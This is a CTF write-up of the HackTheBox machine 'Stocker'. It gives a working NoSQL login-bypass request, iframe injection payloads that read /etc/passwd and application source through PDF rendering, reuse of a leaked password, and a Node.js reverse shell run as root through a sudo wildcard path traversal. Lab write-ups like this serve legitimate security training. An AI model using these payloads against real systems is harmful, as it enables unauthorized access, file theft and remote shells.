Stocker - HackTheBox

CTF Writeup for Stocker from HackTheBox

Stocker - HackTheBox
Photo by FORREST CAVALE / Unsplash

This CTF focuses almost purely on Web Exploitation and API abuse.

Starting with nmap, we find 22/tcp[SSH], 80/tcp[HTTP]. From these results we can find a failed redirect to 'stocker.htb'.

Suggested: start a VHOST enumeration after the nmap scan.

When navigating to it, there was nothing there; just a landing page for a business.

Very nice landing site.

From the before suggested VHOST enumeration, we find a valid 'dev.stocker.htb' .

Looking at 'dev.stocker.htb', I first did a directory scan and found a '/stock' but it required authentication; time to look at the login.

Due to the lack of any usernames found, ( other than the landing page name of 'Angoose Garden' ) I decided to look into SQLi / Authentication Bypass; doing SQLi I hadn't any luck; next I checked into Authentication Bypass, no fruit from SQL, so testing next I check for JSON capability ( changing 'Content-Type: application/json' ) – which it allowed – so I decided to try NoSQL JSON bypass tricks from HackTricks.

POST /login HTTP/1.1

Host: dev.stocker.htb

Content-Length: 55

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http://dev.stocker.htb

Content-Type: application/json

User-Agent: <user-agent>

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Referer: http://dev.stocker.htb/login

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.9

Cookie: connect.sid=<session-id>

Connection: close



{"username": {"$ne": null}, "password": {"$ne": null} }

This NoSQL JSON Authentication Bypass worked, granting access to '/stock'.

Suggested: use ZAP/Burp to walk and monitor requests, this is API abuse piece.

From here, I just walked all functions of the website ( adding to cart and purchasing) . From Burp's proxy history I find the API calls, and how when the purchase is successful, it renders out a PDF file; specifically from this I see how the 'title' from the order POST is rendered to the PDF output, allowing manipulation.

{"basket":[{"_id":"638f116eeb060210cbd83a93","title":"Toilet Paper","description":"It's toilet paper.","image":"toilet-paper.jpg","price":0.69,"currentStock":4212,"__v":0,"amount":1}]}
Non-Manipulated Payload JSON
Non-Manipulated Payload Result
{"basket":[{"_id":"638f116eeb060210cbd83a93","title":"Manipulated PDF Content","description":"It's toilet paper.","image":"toilet-paper.jpg","price":0.69,"currentStock":4212,"__v":0,"amount":1}]}
Manipulated Payload JSON
Manipulated Payload Result

Once finding this I wanted to look at the PDF headers.

user$ strings -n 8 <order-id>.pdf

Researching this, trying to find a possible exploit or known flaw, found this. From this I tried the suggested 'iframe' technique against '/etc/passwd'.

{"basket":[{"_id":"638f116eeb060210cbd83a93","title":"<iframe src=file:///etc/passwd </iframe>","description":"It's toilet paper.","image":"toilet-paper.jpg","price":0.69,"currentStock":4212,"__v":0,"amount":1}]}

It works, but I can't read shit; we can modify the 'iframe' to include dimensions.

{"basket":[{"_id":"638f116eeb060210cbd83a93","title":"<iframe src=file:///etc/passwd height=1000px width=800px</iframe>","description":"It's toilet paper.","image":"toilet-paper.jpg","price":0.69,"currentStock":4212,"__v":0,"amount":1}]}

Much better; we now find the server-user 'angoose'.

Now we need to find some credentials to hopefully get a shell; since the 'dev' VHOST is the only site that offered substance, with a login page, we'll target that.

{"basket":[{"_id":"638f116eeb060210cbd83a93","title":"<iframe src=file:///etc/nginx/nginx.conf height=1050px width=800px</iframe>","description":"It's toilet paper.","image":"toilet-paper.jpg","price":0.69,"currentStock":4212,"__v":0,"amount":1}]}

We now know that 'dev.stocker.htb' operates from '/var/www/dev/'.

Using prior knowledge of NodeJS naming schemes, we'll try 'app,main,index+.js' . The first two names produced blank output, but 'index.js' worked.

From the output we find MongoDB credentials with the user 'dev', though issue is from the '/etc/passwd' results from earlier, we know there isn't 'dev' user; but since its only a dev site, it could be a shared password, so we can try 'angoose:<password>' .

It worked, we are now on user 'angoose'. Can collect the 'user.txt' now.

angoose@stocker$ cat ./user.txt
> ********************************

Now we can work on privilege escalation; check sudo permissions now.

So we are able to run NodeJS as root against '/usr/local/scripts/' with any name as long as it ends with .js ; since the asterisk is present in that position, we can use path traversal to execute a script we have directory write access to ( Revshells ).

(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("sh", []);
    var client = new net.Socket();
    client.connect(<port>, "<ipv4>", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/;
})();

Starting our netcat listener, we should get our response back, running as root.

Can collect the root flag now.

root@stocker# cd /root
root@stocker# cat ./root.txt
> ********************************

This was a good CTF, I appreciate the WebApp vulnerability practice and unique PDF local-file disclosure; though I do believe this barely qualifies as an 'Easy' CTF, due to the unique API based PDF LFI.

That's all :) .